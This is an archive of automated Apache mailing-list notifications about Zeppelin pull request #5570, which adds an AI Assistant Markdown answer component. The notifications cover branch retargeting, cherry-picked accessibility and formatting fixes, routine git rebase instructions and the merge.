Please retarget this PR to branch-voidmatcha-assistant-storybook-temp per the submission instructions in https://issues.apache.org/jira/browse/ZEPPELIN-6744. The Markdown component change is commit 40506d0f7.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: reviews-unsubscribe@zeppelin.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] [ZEPPELIN-6744] Add AI Assistant Markdown answer component [zeppelin]
Posted by "miinhho (via GitHub)" <gi...@apache.org>.
miinhho commented on PR #5570:
URL: https://github.com/apache/zeppelin/pull/5570#issuecomment-6159633413
Thanks for providing the fixes. I cherry-picked [your six commits](https://github.com/voidmatcha/zeppelin/compare/40506d0f7...ZEPPELIN-6744-pr5570-review-fixes) covering:
- Anchor prop forwarding, per-answer footnote and heading IDs, and fragment scroll/focus handling without native hash navigation.
- Paragraph-button accessible names, the code-block region role, and the existing visually-hidden style for footnote headings.
- Prettier formatting, Markdown-element memoization, and the component/import conventions.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: reviews-unsubscribe@zeppelin.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] [ZEPPELIN-6744] Add AI Assistant Markdown answer component [zeppelin]
Posted by "voidmatcha (via GitHub)" <gi...@apache.org>.
voidmatcha commented on PR #5570:
URL: https://github.com/apache/zeppelin/pull/5570#issuecomment-6217398071
@miinhho #5562 is on `master`, and this PR doesn't need #5561 or #5565. Could you rebase onto `master`, force-push, and then switch the base to `master`?
```
git fetch https://github.com/apache/zeppelin.git master
git rebase --onto FETCH_HEAD 4599ad2d9
git push --force-with-lease
```
It rebases without conflicts and the tests pass. Once this merges, #5572 will need the same rebase onto `master`.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: reviews-unsubscribe@zeppelin.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] [ZEPPELIN-6744] Add AI Assistant Markdown answer component [zeppelin]
Posted by "voidmatcha (via GitHub)" <gi...@apache.org>.
voidmatcha merged PR #5570:
URL: https://github.com/apache/zeppelin/pull/5570
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: reviews-unsubscribe@zeppelin.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org